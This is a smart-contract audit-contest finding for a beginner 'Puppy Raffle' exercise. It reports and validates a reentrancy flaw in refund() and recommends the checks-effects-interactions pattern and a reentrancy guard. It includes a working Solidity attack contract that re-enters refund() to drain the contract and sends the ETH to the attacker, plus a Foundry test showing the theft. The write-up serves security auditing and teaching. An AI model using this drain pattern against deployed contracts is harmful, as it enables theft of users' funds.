First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in `PuppyRuffle#refund()`: Attacker can drain contract's fund

musashi

Summary

A malicious player can enter the ruffle and then be able to make reentrancy callback to refund() method until drain all the funds of the PuppyRuffle contract.

Vulnerability Details

The function PuppyRuffle#refund() not follow the Checks-Effects-Interactions pattern. It makes external call to send ETH to msg.sender before updating the players array.

payable(msg.sender).sendValue(entranceFee);
​
players[playerIndex] = address(0);

Impact

There is a reentrancy, allowing attacker to keep withdrawing before the players array is updated.

Here is my PoC to prove it.

Below is the PuppyRaffleAttack contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./PuppyRaffle.sol";
​
contract PuppyRaffleAttack {
PuppyRaffle nft;
address attacker;
uint256 public attackerIndex = 4;
​
constructor(address _nftAddres) {
nft = PuppyRaffle(_nftAddres);
attacker = msg.sender;
}
​
function attack() public {
require(msg.sender == attacker, "Only attacker can call this");
nft.refund(attackerIndex);
}
​
receive() external payable {
if (address(nft).balance >= 1 ether) {
nft.refund(attackerIndex);
}
(bool success, ) = payable(attacker).call{value: address(this).balance}("");
require(success, "Failed to send ETH");
}
}

And here is how to make the attack happen. Note that I pretend that the attacker enter the raffle after 4 normal players, that's why the PuppyRaffleAttack#attackerIndex is 4.

function testReentrancyAttack() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.startPrank(hacker);
​
uint256 hackerBalanceBefore = address(hacker).balance;
​
attackContract = new PuppyRaffleAttack(address(puppyRaffle));
​
address[] memory hackers = new address[](1);
hackers[0] = address(attackContract);
puppyRaffle.enterRaffle{value: entranceFee}(hackers);
​
attackContract.attack();
uint256 hackerBalanceAfter = address(hacker).balance;
​
assertEq(hackerBalanceAfter - hackerBalanceBefore, 4 ether);
​
vm.stopPrank();
}

Tools Used

Manual review

Recommendations

Follow the Checks-Effects-Interactions pattern and apply reentrancy guard from audited libraries like Openzeppelin.

Updates

Lead Judging Commences

Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.